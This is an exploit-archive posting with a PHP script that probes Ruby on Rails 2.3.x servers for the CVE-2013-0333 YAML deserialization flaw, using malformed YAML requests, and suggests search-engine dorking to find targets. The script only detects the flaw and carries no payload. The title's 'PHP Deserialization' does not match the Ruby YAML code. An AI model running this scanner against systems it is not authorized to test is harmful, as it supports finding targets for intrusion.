Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

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Contact us at khalil@khalil-shreateh.com

=============================================================================================================================================
| # Title : Ruby on =============================================================================================================================================
| # Title : Ruby on Rails 2.3.x PHP Deserialization Scanner |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://rubyonrails.org/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: The code scans Ruby on Rails applications for YAML Deserialization vulnerability by sending different requests and parsing the response.

( Related : https://packetstorm.news/files/id/181172/ Related CVE Numbers: CVE-2013-0333 )

[+] save code as poc.php.

[+] Set Target : line 56

[+] USage : php poc.php

[+] PayLoad :

<?php

class RailsJSONScanner
{
private $targetUri;
private $httpMethod;

public function __construct($targetUri = '/', $httpMethod = 'POST')
{
$this->targetUri = $targetUri;
$this->httpMethod = strtoupper($httpMethod);
}

private function sendProbe($data)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $this->targetUri);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $this->httpMethod);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

return [$httpCode, $response];
}

public function runScan()
{
echo "Scanning {$this->targetUri} with method {$this->httpMethod}\n";

list($code1, $res1) = $this->sendProbe(json_encode([
bin2hex(random_bytes(4)) => bin2hex(random_bytes(4))
]));

if ($code1 >= 500) {
echo "[ERROR] Server responded with $code1. Check TARGETURI and HTTP_METHOD.\n";
return;
}

list($code2, $res2) = $this->sendProbe("--- {}\n");
list($code3, $res3) = $this->sendProbe("--- !ruby/object:\x00");

echo "Probe response codes: $code1 / $code2 / $code3\n";

if ($code2 == $code1 && $code3 != $code2 && $code3 != 200) {
echo "[VULNERABLE] Target is likely vulnerable! Server replied with $code3 for invalid YAML.\n";
} else {
echo "[SAFE] Target does not seem vulnerable.\n";
}
}
}

$scanner = new RailsJSONScanner('http://example.com', 'POST');
$scanner->runScan();




Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
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